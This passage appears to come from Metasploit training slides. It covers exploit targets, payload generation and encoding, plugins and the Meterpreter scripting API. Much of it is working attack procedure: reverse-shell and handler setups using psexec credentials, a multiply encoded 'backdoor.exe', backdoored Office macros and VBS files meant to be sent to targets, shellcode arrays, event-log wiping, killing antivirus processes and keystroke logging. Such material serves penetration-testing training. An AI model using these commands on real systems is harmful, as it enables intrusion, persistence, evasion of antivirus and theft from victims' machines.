  100. Mixin - Exploit::Remote::SMB Code: lib/msf/core/exploit/smb.rb Inherits from the TCP mixin

    SMB methods and options  smb_login(), smb_create(), smb_peer_os()  Options: SMBUser, SMBPass, SMBDomain Exposes IPS evasion methods  SMB::pipe_evasion, SMB::pad_data_level  SMB::file_data_level and more
  101. Mixin - Exploit::Remote::BruteTargets lib/msf/core/exploit/brutetargets.rb Overloads the exploit() method  Calls

    exploit_target(target) for each Target  Handy for easy target iteration lib/msf/core/exploit/brute.rb Overloads the exploit() method  Calls brute_exploit() for each stepping  Easily brute force an address range
  102. Many, many, more mixins Capture – sniff network packets Lorcon

    – send raw WiFi frames MSSQL – talk to Microsoft SQL servers KernelMode – exploit kernel bugs SEH – structured exception handling NDMP – the network backup protocol EggHunter – memory search FTP – talk to FTP servers FTPServer – create FTP servers
  103. Exploit Targets

  104. Exploit Targets Exploits define a list of targets Target has

    a name, number, options Targets are specified by number 'Targets' => [ # Windows 2000 – TARGET = 0 [ 'Windows 2000 English', { 'Rets' => [ 0x773242e0 ], }, ], # Windows XP - TARGET = 1 [ 'Windows XP English', { 'Rets' => [ 0x7449bf1a ], }, ], ],
  105. Target Options Block The options block is nearly free-form Special

    option names  'Ret' is shortcutted as target.ret()  'Payload' overloads the exploit's info block Options are used to store target data  Windows 2000 needs this return address  Windows XP needs 500 bytes of padding  Windows Vista NX bypass address
  106. Acessing Target Information The 'target' object inside the exploit This

    is the user's selected target Accessed in the exploit as a hash  target['padcount']  target['Rets'][0]  target['Payload']['BadChars']  target['opnum']
  107. Fixing Exploit Targets Sometimes you need new targets  Language

    packs change addresses  Different version of the software  Addresses shifted due to hooks To find a new return address  Determine the type of return address  Obtain a copy of the target binaries  Use msfpescan to locate a return
  108. Return Address Types Return addresses depend on exploit  Stack

    smashes use “jmp esp”  SEH overwrites use “pop/pop/ret”  Sometimes need “jmp <reg>” returns Determining the type of return  Look for a comment in the exploit code  Examine the target binary for the old return
  109. 'Windows 2000 SP0-SP4', { 'Ret' => 0x767a38f6, # umpnpmgr.dll }

    # # Find a copy of umpnpmgr.dll from Windows 2000 SP4 # $ msfpescan -D -a 0x767a38f6 win2000sp4.umpnpmgr.dll [win200sp4.umpnpmgr.dll] 0x767a38f6 5f5ec3558bec6aff68003c7a7668e427 00000000 5F pop edi 00000001 5E pop esi 00000002 C3 ret 00000003 55 push ebp 00000004 8BEC mov ebp,esp 00000006 6AFF push byte -0x1 00000008 68003C7A76 push 0x767a3c00 0000000D 68 db 0x68 0000000E E427 in al,0x27 # We need a pop/pop/ret return address
  110. # # Find a copy of umpnpmgr.dll from our target

    OS / SP / Language # $ msfpescan -p targetos.umpnpmgr.dll [targetos.umpnpmgr.dll] 0x79001567 pop eax; pop esi; ret 0x79011e0b pop eax; pop esi; retn 0x0008 0x79012749 pop esi; pop ebp; retn 0x0010 0x7901285c pop edi; pop esi; retn 0x0004 # # Add a target to our exploit with the new address # 'Windows 2000 SP0-SP4 Russian Language', { 'Ret' => 0x7901285c, # umpnpmgr.dll russian 2000 sp4 }
  111. LAB: Find a “jmp esp” instruction Find the address of

    a “jmp esp”  Look inside kernel32.dll  $ wget http://192.168.1.2/shared/kernel32.dll  Scan with msfpescan -j esp kernel32.dll  Look for pop/pop/ret  Look for call [eax+0x6A] (hint: tools/nasm_shell.rb)  Examine msfpescan -i kernel32.dll  Find unicode-safe pop/pop/ret addresses  Hint: -F allows filtering by regex
  112. $ msfpescan -j esp kernel32.dll $ msfpescan -p kernel32.dll $

    tools/nasm_shell.rb nasm> call [eax+0x6a] 00000000 FF506A call dword near [eax+0x6a] $ msfpescan -p kernel32.dll -F '.\x00.\x00'
  113. Exploit Types

  114. Exploit Types All exploits fall into two categories  Active

    – exploit a specific host and exit  Passive – wait for incoming hosts and exploit Active exploits run until completion  Brute force modules exit when a shell opens  Module execution stops in the case of an error  Force an active module to background:  exploit -j
  115. Passive Exploits These focus almost always on clients  Web

    browser, sniffer responses, etc  Also used for email exploits to wait for shells Passive exploits report shells as they happen  Use sessions -l to enumeration shells  Use sessions -i to interact with a shell
  116. # Active Exploit Example $ msfconsole msf> use exploit/windows/smb/psexec msf

    exploit(psexec) > set RHOST 192.168.1.3 msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp msf exploit(psexec) > set LHOST <your ip> msf exploit(psexec) > set LPORT 12345 msf exploit(psexec) > set SMBUser Administrator msf exploit(psexec) > set SMBPass admin123 msf exploit(psexec) > exploit
  117. # Passive Exploit Example $ msfconsole msf> use exploit/windows/browser/ie_createobject msf

    exploit(ie_createobject) > (continued) set PAYLOAD windows/shell/reverse_tcp msf exploit(ie_createobject) > set LHOST <your ip> msf exploit(ie_createobject) > set LPORT 4444 msf exploit(ie_createobject) > set URIPATH /boom msf exploit(ie_createobject) > exploit [*] Exploit running as background job. msf exploit(ie_createobject) > [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Using URL: http://0.0.0.0:8080/boom [*] Local IP: http://192.168.1.XXX:8080/boom [*] Server started.
  118. Exploit Payloads

  119. Payload Compatibility Matching payloads to an exploit  Look for

    compatible architecture and OS  Look at the 'PayloadCompat' & 'Compat' blocks  Look at the 'privileged' flag  Look at the payload size Exploits indicate compatibility  Tag 'findsock' enables findsock payloads  Other tags for specific cases  'RequiredCmds' => 'netcat-e perl ruby bash'
  120. Payload Generation Select an encoder  Must not touch certain

    registers  Must be under the max size  Must avoid BadChars  Encoders are ranked Select a nop generator  Tries most random first  Nops are also ranked
  121. Encoding Example The Payload is 300 bytes long The Encoder

    stub adds another 40 The Payload Space is 900 The Nops fill in the 560 remaining Final payload.encoded is 900 bytes  Avoid this with: 'DisableNops' => true
  122. Payload Block Options Exploits can tweak the payload  'StackAdjustment'

    prefixes “sub esp” code  'MinNops', 'MaxNops', 'DisableNops'  'Prefix' places data before the payload  'PrefixEncoder' places it before the stub These options can go into Targets  Allows different BadChars for targets  Allows Targets to hit different Arch and OS
  123. Payloads

  124. Payload Module Types Three different kinds of modules  Singles

    – completely standalone  Stagers – setup a network connection  Stages – downloaded by stagers Allows for different scenarios  Stagers for large advanced stages  Singles for non-networked targets
  125. Payload Stagers Designed to be small and reliable  Difficult

    to always do both well  Result is multiple similar stages  Use the best one when we can  Fall back when we can't Windows NX vs NO-NX stagers  Reliability issue for NX CPUs and DEP  NX stagers are bigger (VirtualAlloc)  Default is now NX + Win7 compatible
  126. Payload Stages Advanced features with no size limits  Meterpreter

     VNC Injection  iPhone 'ipwn' Shell Automatically uses 'middle stagers'  A single recv() fails with large payloads  Stager receives the middle stager  Middle stages performs a full download  Also better for RWX
  127. Payload Creation Runtime creation of Payloads  Combination of stagers

    + stages  Staging is represented by / in the name windows/shell_bind_tcp  This is a single payload, no stage windows/shell/bind_tcp  bind_tcp is the stager, shell is the stage
  128. msfpayload Dump payloads on the command line  Useful for

    testing shellcode $ msfpayload windows/shell_bind_tcp LPORT=12345 C /* * windows/shell_bind_tcp - 317 bytes * http://www.metasploit.com * EXITFUNC=seh, LPORT=12345 */ unsigned char buf[] = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b" "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01" "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07" "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b" "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff" "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08" "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53" "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x30\x39\x66" "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" [...]
  129. Creating Executables Use msfpayload to create binaries Specify the “X”

    action and redirect $ msfpayload windows/shell_bind_tcp LPORT=12345 X > test.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_bind_tcp Length: 317 Options: LPORT=12345 $ file test.exe test.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 $ wc -c test.exe 9728 test.exe $ md5sum test.exe 2a330113967492b80bff5bb881ec2c14 test.exe
  130. Creating Encoded Executables Run msfpayload with the “R” action Pipe

    this into msfencode -t 'exe' $ msfpayload windows/shell_bind_tcp LPORT=12345 R | \ msfencode -t exe -o test.exe -b “\x00” [*] x86/shikata_ga_nai succeeded, final size 345 $ file test.exe test.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 $ wc -c test.exe 9728 test.exe $ md5sum test.exe 824335c8959a558e8fc693ca050b917f test.exe
  131. Multiple Encoded Executables Pass the -c option to specify the

    count Pipe msfencode to itself for different types $ msfpayload windows/shell_bind_tcp LPORT=12345 R | \ msfencode -t raw -c 3 | \ msfencode -t raw -c 3 | \ msfencode -t raw -c 3 | \ msfencode -t exe -o test.exe [*] x86/shikata_ga_nai succeeded with size 345 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 372 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 399 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 426 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 453 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 480 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 507 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 534 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 561 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 588 (iteration=1)...
  132. Payload Executable Testing The multi/handler exploit module  An exploit

    that accepts any payload  Does nothing but “handle” the payload  Useful for social engineering tests Ex: windows/shell/bind_tcp  Repeatedly connect to RHOST:RPORT  Upload the payload stage on connect  Interact with the uploaded stage (shell)
  133. Creating a Meterpreter Backdoor Generate an executable with msfpayload 

    Choose between reverse and bind stagers  Specify the connect back host and port Configure exploit/multi/handler in msfconsole Force the payload to execute on login/boot  Place into the Start Menu: Startup folder  Autorun via registry, logon script, etc
  134. Creating a Meterpreter Backdoor $ msfpayload windows/meterpreter_reverse_tcp \ LHOST=192.168.0.2 LPORT=12345

    R | \ msfencode -c 5 -t exe -o backdoor.exe $ msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp msf exploit(handler) > set LHOST 192.168.0.2 msf exploit(handler) > set LPORT 12345 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j [ .. wait for session .. ] msf exploit(handler) > sessions -i 1 meterpreter >
  135. Backdooring Office Documents $ msfpayload windows/meterpreter/reverse_tcp \ LHOST=192.168.0.2 LPORT=12345 R

    | \ msfencode -c 5 -t vba -o backdoor.vba [ Copy this VBA into a new macro within a Word or Excel doc ] msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp msf exploit(handler) > set LHOST 192.168.0.2 msf exploit(handler) > set LPORT 12345 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j [ Send the document to your target(s) ] msf exploit(handler) > sessions -i 1 meterpreter > [ CLI ./tools/exe2vba.rb test.exe output.vba ]
  136. Binary Payloads in VBS $ msfpayload windows/meterpreter/reverse_tcp \ LHOST=192.168.0.2 LPORT=12345

    R | \ msfencode -c 5 -t vbs -o backdoor.vbs [ Copy this to your target system ] msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp msf exploit(handler) > set LHOST 192.168.0.2 msf exploit(handler) > set LPORT 12345 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j [ Force the VBS script to execute ] msf exploit(handler) > sessions -i 1 meterpreter > [ CLI ./tools/exe2vbs.rb test.exe output.vbs ]
  137. Creating a Payload (single) Payload requirements  What options need

    to be patched in?  What type of handler does it require?  What target requirements does it have? Singles: modules/payload/singles/<os>  Naming is <function>_<transport>  shell_bind_tcp, useradd, or exec
  138. module Metasploit3 include Msf::Payload::Windows include Msf::Payload::Single def initialize(info = {})

    super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP Inline', 'Version' => '$Revision: 5709 $', 'Description' => 'Listen for a connection and spawn a shell', 'Author' => 'vlad902', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, 'Payload' => { 'Offsets' => { 'LPORT' => [ 162, 'n' ], 'EXITFUNC' => [ 308, 'V' ], }, 'Payload' => "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c" + "\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" + "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" + [................................................]
  139. Windows Payloads - EXITFUNC EXITFUNC defines the cleanup function 

    thread – call ExitThread()  process – call ExitProcess()  seh – call *0x00000000 Exploit usually overrides this per app  Multiple exploitation (ex: ms03_026_dcom)  Force the service to restart (seh)
  140. Creating a Payload (stager) Stagers: modules/payload/stagers/<os>  Naming is just

    the <transport>  bind_tcp, reverse_tcp, findsock, etc Stagers require a 'Convention'  Determines the API for stages  Common ones are 'sockedi' and 'sockesi'  Indicate the register with the socket
  141. module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Windows def initialize(info = {})

    super(merge_info(info, 'Name' => 'Bind TCP Stager', 'Version' => '$Revision$', 'Description' => 'Listen for a connection', 'Author' => ['hdm', 'skape'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, 'Convention' => 'sockedi', 'Stager' => { 'Offsets' => { 'LPORT' => [ 245, 'n' ], }, 'Payload' => "\xfc"+ "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+ "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+ "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+ [................................................................]
  142. Creating a Payload (stage) Stagers: modules/payload/stages/<os>  Naming is just

    the <action>  shell, meterpreter, exec, vncinject Match up with the Stager 'Convention' May involve an intermediate stage  Increases reliability for laggy networks  Avoids segmentation issues
  143. module Metasploit3 include Msf::Payload::Windows def initialize(info = {}) super(merge_info(info, 'Name'

    => 'Windows Command Shell', 'Version' => '$Revision: 5709 $', 'Description' => 'Spawn a piped command shell', 'Author' => 'spoonm', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Session' => Msf::Sessions::CommandShell, 'PayloadCompat' => { 'Convention' => 'sockedi' }, 'Stage' => { 'Offsets' => { 'EXITFUNC' => [ 443, 'V' ] }, 'Payload' => "\x68\x33\x32\x00\x00\x68\x57\x53\x32\x5f\x57\xfc\xe8\x4c\x00\x00"+ "\x00\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"+ [................................................................]
  144. DLL Injection Payloads DLL Injection is a type of stage

     Meterpreter extends the injection class  VNCInjection works the same way  Non-standard session types  Meterpreter has its own session class  VNCInject uses a TCP relay session  set DisableCourtesyShell true
  145. module Metasploit3 include Msf::Payload::Windows::DllInject def initialize(info = {}) super(update_info(info, 'Name'

    => 'Windows Meterpreter', 'Version' => '$Revision: 5709 $', 'Description' => 'Inject the meterpreter server DLL', 'Author' => 'skape', 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter)) ======================================================================== include Msf::Payload::Windows::DllInject def initialize(info = {}) super(update_info(info, 'Name' => 'Windows VNC Inject', 'Version' => '$Revision: 5709 $', 'Description' => 'Inject the VNC server DLL and run it', 'Author' => [ 'skape', 'jt <jt@klake.org>' ], 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::VncInject)
  146. LAB: Create a VNC injection EXE Use msfpayload to create

    an EXE around vncinject  Pipe this to msfencode to encode it  Encode this 6 times  Encode this 6 times with 6 encoders  Configure msfconsole to handle this EXE
  147. $ msfpayload windows/vncinject/reverse_tcp \ LHOST=192.168.0.2 LPORT=4444 X > vncinject.exe $

    msfpayload windows/vncinject/reverse_tcp \ LHOST=192.168.0.2 LPORT=4444 R | \ msfencode -c 6 -t exe -o vncinject.exe $ msfpayload windows/vncinject/reverse_tcp \ LHOST=192.168.0.2 LPORT=4444 R | \ msfencode -t raw -e x86/shikata_ga_nai | \ msfencode -t raw -e x86/jmp_call_additive | \ msfencode -t raw -e x86/fnstenv_mov | \ msfencode -t raw -e x86/call4_dword_xor | \ msfencode -t raw -e x86/shikata_ga_nai | \ msfencode -t exe -e x86/jmp_call_additive -o vncinject.exe
  148. METASM Payloads METASM is a Ruby assembler  Generates code

    from ASM and C  Processes both X86 and MIPS  Much more at http://metasm.cr0.org/ Standard payload classes  Source code is in C or plain ASM  Nifty way to patch variables  No C examples in Metasploit (yet)
  149. # # Example of a METASM runtime-compiled payload # 'Offsets'

    => { 'LHOST' => [ 0, 'ADDR' ], 'LPORT' => [ 0, 'n' ], }, 'Assembly' => <<EOS xor ebx, ebx ; @00000000 31db push ebx ; @00000002 53 inc ebx ; @00000003 43 push ebx ; @00000004 53 push 2 ; @00000005 6a02 push 66h ; @00000007 6a66 pop eax ; @00000009 58 mov ecx, esp ; @0000000a 89e1 int 80h ; @0000000c cd80 ; Xrefs: 00000015 pop ebx ; @00000017 5b pop edx ; @00000018 5a push LHOST ; @00000019 687f000001 push.i16 LPORT ; @0000001e 6668bfbf inc ebx ; @00000022 43 [....] EOS
  150. Plugins

  151. Metasploit Plugins Plugins provide three core features  Define new

    console commands  Modify framework internals  Handle system events Example plugins  Metasploit Console Daemon - msfd  Tagger - run scripts on each new shell  IPS Filter - socket interception  Pcap Log – convenient pcap packet logger
  152. Metasploit Plugins Plugin API  Full access to the framework

    instance  Interact with sessions and run modules  Access the framework database Why write a new plugin?  Automate exploitation tasks  Log all socket operations  Integrate with other tools
  153. Event System Actions trigger various events  General events (started,

    stopped)  Exploit events (launched, completed)  Session events (opened, closed)  Database events (new host, new service) Event handler subscribe to events  Called each time event fires  framework.events.add_session_subscriber(object)
  154. Plugin Summary Plugins and penetration tests  Call out to

    other applications  Automate command execution  Log all events to create a report Labs just scratched the surface  Look at the examples in plugins/  Meterpreter automation...
  155. Meterpreter Overview

  156. Meterpreter Advanced dynamically extensible payload  Uses in-memory DLL injection

    stagers  Extended at runtime over the network  Communicates over stager socket  Coprehensive client-side Ruby API Development history  Written by skape for Metasploit 2.x  Common extensions merged for 3.x  Undergoing an overhaul for 3.3
  157. How Meterpreter Used to Work The target executes the initial

    stager  Usually one of bind, reverse, findtag, passivex, etc The stager loads the middle stage  Provides a reliable transfer mechanism The middle stage loads the DLL injector*  Patches the Windows API for in-memory DLL injection The DLL injector loads the Meterpreter core  A standard Windows DLL exporting: Init(int sock, int flags) The Meterpreter loads extensions  Always loads stdapi, sometimes loads priv
  158. How Meterpreter Works Now The target executes the initial stager

     Usually one of bind, reverse, findtag, passivex, etc The stager loads the DLL prefixed with Reflective  Reflective stub handles the loading/injection of the DLL The Meterpreter core initializes  Establishes a TLS/1.0 link over the socket, sends a GET  Metasploit receives the GET and configures the client The Meterpreter loads extensions  Always loads stdapi, loads priv if the module gives admin  All of these are loaded over TLS/1.0 using a TLV protocol
  159. Meterpreter Design Goals Stealthy  No disk access, no new

    processes, encrypted comms  Limited forensic evidence and impact Powerful  Channelized communication system  TLV protocol has few limitations Extensible  Runtime feature augmentation  New features without rebuilding
  160. Meterpreter Core The server is implemented in plain C 

    Compiled with MSVC now, somewhat portable  All communications are now over TLS/1.0  Implements a basic TLV-based packet protocol  Exposes channel allocation and mgmt interface  Supports migration to another running process  Supports loading new extensions over the network The client can be written in any language  Metasploit has a full-feature Ruby client API
  161. Adding Runtime Features New features added by loading extensions 

    The client uploads the DLL over the socket  The server loads the DLL in-memory and initializes  The extension registers itself with the server  The client loads the local extension API The client can now call the extensions functions  This process is seamless and takes ~1 second
  162. Basic Extensions Stdapi  Provides “unix-like” tools for the Windows

    platform  Manipulate file system, registry, network, processes...  Automatically loaded when Meterpreter starts Priv  Provides in-memory pwdump alternative  Includes timestomp for anti-forensics work Incognito  Utilities for finding and hijacking security tokens
  163. Digging Deeper The Meterpreter prompt  Registers new commands as

    extensions are loaded  Provides a powerful shell for penetration testing  Features: history, tab completion, channels The Meterpreter Ruby API  The user commands only scratch the surface  The real power of Meterpeter is the client API  Equivalent to remote, in-memory scripting
  164. Scripting Meterpreter From the msfconsole prompt  Enter irb to

    drop into Ruby at any time  The session object is the Meterpreter client  msf > irb  irb > client = framework.sessions[1] From the meterpreter prompt  Enter irb to drop into Ruby at any time  The client variable is the Meterpreter session  meterpreter > irb  irb > client
  165. Scripting Meterpreter Run existing scripts from the meterpreter prompt 

    Execute the run command to launch a script  Pass arguments to each script via parameters  meterpreter > run myscript arg1 arg2... Script location: msf3/scripts/meterpreter  Many useful and reference scripts available
  166. Meterpreter API: Core Part of the main Meterpreter payload 

    Accessed via API as client.core.* client.core.use( name )  Loads a new Meterpreter extension by name  Handles both the client and server side client.core.migrate( pid )  Moves Meterpreter into another process  Keeps the existing socket open  Unloads all extensions but stdapi
  167. Meterpreter API: Stdapi The standard set of Meterpreter features 

    Broken down into sub-groups by function Stdapi feature highlights  Enumerate the filesystem and read/write files  List interfaces and pivot network connections  Read, write, and browse the registry  Manage processes and threads  Execute commands  Monitor user activity
  168. The Stdapi Interface Stdapi is split into four sub-groups client.fs.*

     Manipulate the file system, upload, download client.sys.*  Interact with processes, registry, etc client.net.*  View network settings, pivot, make connections client.ui.*  Disable keyboard/mouse, check user idle time
  169. File System Interaction: dir Accessed through client.fs.dir.method  List, download,

    upload, and delete files Method Description entries(path)‏ Enumerates directory contents chdir(path)‏ Change directories to path mkdir(path)‏ Make a directory getwd Get the current working directory delete(path)‏ Remove a directory download(dst, src, recursive)‏ Download a directory’s contents to local upload(dst, src, recursive)‏ Upload a directory to remote
  170. File System Interaction: dir meterpreter > irb >> client.fs.dir.chdir("c:\\windows\\system") =>

    0 >> client.fs.dir.getwd => "c:\\windows\\system" >> client.fs.dir.entries [".", "..", "AVICAP.DLL", "AVIFILE.DLL", "COMMDLG.DLL", "KEYBOARD.DRV", "LZEXPAND.DLL“ ]
  171. File System Interaction: file Accessed through client.fs.file.method  One-step recursive

    uploads and downloads Method Description expand_path(path) Expands the environment strings in a path stat(path) Tests if a file exists and returns info about it upload(dest, files) Uploads one or more files to the remote directory download(dest, files) Downloads one or more files to the local directory
  172. File Interaction: file Interact with a remote file just like

    a local one  client.fs.file.new( path ) Method Description seek(offset, whence) Seeks to an offset within the file read(length) Reads length bytes from the file write(buffer) Writes the buffer to the file close Closes the file
  173. Reading a Remote File meterpreter > irb >> fd =

    client.fs.file.new("c:\\boot.ini", "r") … >> puts fd.read [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect => nil >> fd.close => true
  174. Network Interaction: config Accessed as client.net.config.method  Enumerate network interfaces

    and routes  Useful for finding new targets and island-hopping Method Description each_interface Enumerates the server’s network interfaces get_interfaces Returns an array of the server’s network interfaces each_route Enumerates the server’s routing table get_routes Returns an array of the server’s routing table add_route(s, n, g) Adds a route remove_route(s, n, g) Removes a route
  175. Listing Remote Interfaces meterpreter > irb >> client.net.config.each_interface { |iface|

    ?> puts iface.mac_name + ": " + iface.ip >> } Intel(R) PRO/Wireless 2915ABG Network Connection - Packet Scheduler Miniport: 0.0.0.0 Broadcom NetXtreme Gigabit Ethernet - Packet Scheduler Miniport: 10.4.4.1 MS TCP Loopback interface: 127.0.0.1 VMware Virtual Ethernet Adapter for VMnet1: 192.168.10.1 VMware Virtual Ethernet Adapter for VMnet8: 192.168.126.1
  176. Network Interaction: sockets Meterpreters allows outbound TCP connections  Access

    machines behind a firewall  Launch exploits from the target  Still somewhat buggy and slow Metasploit socket API can relay over Meterpreter  Meterpreter implements the Comm interface  Route specific subnets via msfconsole route cmd
  177. Relaying Sockets meterpreter > irb >> params = Rex::Socket::Parameters.new( 'PeerHost'

    => „1.2.3.4‟, 'PeerPort' => 80 ) … >> conn = client.net.socket.create_tcp_client(params) … >> conn.write("HEAD / HTTP/1.0\r\n\r\n") => 19 >> conn.get_once => “HTTP/1.0 200 OK\r\n...”
  178. System Interaction: config Accessed as client.sys.config.method  Provides information about

    the system and user  Useful privilege commands: getuid and revert_to_self Method Description getuid Returns the user identifier of the server process sysinfo Returns a hash with computer name and OS information revert_to_self Calls RevertToSelf to restore privileges if necessary
  179. Obtaining System Information meterpreter > irb >> client.sys.config.getuid => “IWAM_VMWEBSERVER"

    >> client.sys.config.sysinfo['Computer'] => "TARGETVM" >> client.sys.config.sysinfo['OS'] => "Windows XP (Build 2600, Service Pack 2)." >> client.sys.config.revert_to_self >> client.sys.config.getuid => "IUSR_VMWEBSERVER"
  180. Manipulating the Event Log Accessed as client.sys.eventlog.open( name ) 

    Provides the ability to read event log entries  Can also be used to wipe the logs :-) meterpreter > irb >> e = client.sys.eventlog.open( “Application“) >> e.length => 8974 >> rec = e.read_forwards >> rec.strings => ["C:\\Virtual Machines\\Microsoft Vista\\Windows Vist... >> e.clear
  181. System Interaction: power Accessed as client.sys.power.method  Provides the reboot

    and shutdown methods Method Description reboot(reason) Reboots the server shutdown(force, reason) Shutdown the server
  182. System Interaction: process Accessed as client.sys.process.method  Enumerate and manipulate

    running processes  Open a process and get a useable handle Method Description open(pid, perms) Opens the specified process pid execute(path, args, opts) Executes the specified executable kill(pid) Kills the specified process pid getpid Returns the server’s process identifier each_process Enumerates running processes processes Returns an array of running processes
  183. Enumerating Processes meterpreter > irb >> client.sys.process['lsass.exe'] => 1180 >>

    client.sys.process.each_process { |pinfo| ?> puts "#{pinfo['pid']}: #{pinfo['name']}" >> } 1048: smss.exe 1124: winlogon.exe 1168: services.exe 1180: lsass.exe 1620: avg.exe >> client.sys.process.kill( 1620 )
  184. Interacting with a Process meterpreter > irb >> p =

    client.sys.process.open( 1680, PROCESS_ALL_ACCESS ) [ call methods on p ] >> r = client.sys.process.execute(“cmd.exe /c net user add...”)
  185. Process Interaction: images Accessed as pobj.images.method  Manipulate the loaded

    DLLs in a given process  Inject a DLL into any target process Method Description load(path) Injects a DLL into the process get_procedure_address(base, name) Lookup function addresses unload(base) Unloads a DLL each_image Enumerates the loaded images get_images Returns an array of image info
  186. Interacting with a Process meterpreter > irb >> p =

    client.sys.process.open( 1680, PROCESS_ALL_ACCESS ) >> k32 = p.image["kernel32.dll"] => 2088763392 >> p.image.load("msxml3.dll") => 1956118528 >> p.image.each_image { |img| ?> puts "#{img['name']}: %.8x" % img['base'] >> } scrnsave.scr: 01000000 ntdll.dll: 7c900000 kernel32.dll: 7c800000 USER32.dll: 77d40000
  187. Process Interaction: memory Accessed as pobj.memory.method  Allocate, free, lock,

    enumerate memory allocations  Read and write from a process's memory Method Description allocate(len, prot, base) Allocates memory of the specified size free(base, len) Deallocates memory at base read(base, len) Reads memory at the specified base address write(base, data) Writes memory to the specified base address query(base) Queries information about a base address protect(base, len, prot) Changes page protections on a region lock(base, length) Lock pages in memory to prevent swapping
  188. Interacting with Process Memory meterpreter > irb >> p =

    client.sys.process.open( 1680, PROCESS_ALL_ACCESS ) >> base = p.memory.allocate(4096) => 12517376 >> p.memory.write(base, "foo") => 3 >> p.memory.read(base, 3) => "foo" >> p.memory.free(base)
  189. Process Interaction: threads Accessed as pobj.thread.method  Enumerate all active

    process threads  Create a new thread at a specific location each_thread Enumerates the running threads get_threads Returns an array of threads create(entry, param) Creates a new thread at the specified entry point
  190. System Interaction: registry Accessed as client.sys.registry.method  Enumerate and manipulate

    the registry Method Description open_key(rk, bk, perm) Opens a registry key create_key(rk, bk, perm) Creates a registry key delete_key(rk, bk, recursive) Deletes a registry key close_key(hk) Closes an open key enum_key(hk) Returns an array of sub-keys set_value(hk, name, type, val) Sets a registry value query_value(hk, name) Queries a registry value delete_value(hk, name) Deletes a registry value
  191. Interacting with the Registry meterpreter > irb >> rk =

    client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software", KEY_ALL_ACCESS) … >> rk.set_value("boo", REG_SZ, "bar") => true >> rk.query_value("boo").data => “bar” >> rk.enum_key[0..2].each { |k| puts k } 781 Adobe Analog Devices
  192. User Interface Interaction Accessed as client.ui.method  Monitor and manipulate

    the desktop user Method Description enable_keyboard Enables the keyboard disable_keyboard Disables the keyboard enable_mouse Enables the mouse disable_mouse Disables the mouse idle_time Shows user idle time in seconds
  193. Keystroke Sniffing Accessed as client.ui.keyscan_*  Capture keypresses from the

    active user  Requires migrating to an interactive process Method Description keyscan_start Start the keystroke logger keyscan_stop Stop the keystroke logger keyscan_dump Dump the current keystroke buffer enumdesktops Enumerate all desktops setdesktop Change to another desktop
  194. Keystroke Sniffing meterpreter > ps [..] 260 explorer.exe C:\WINDOWS\explorer.exe meterpreter

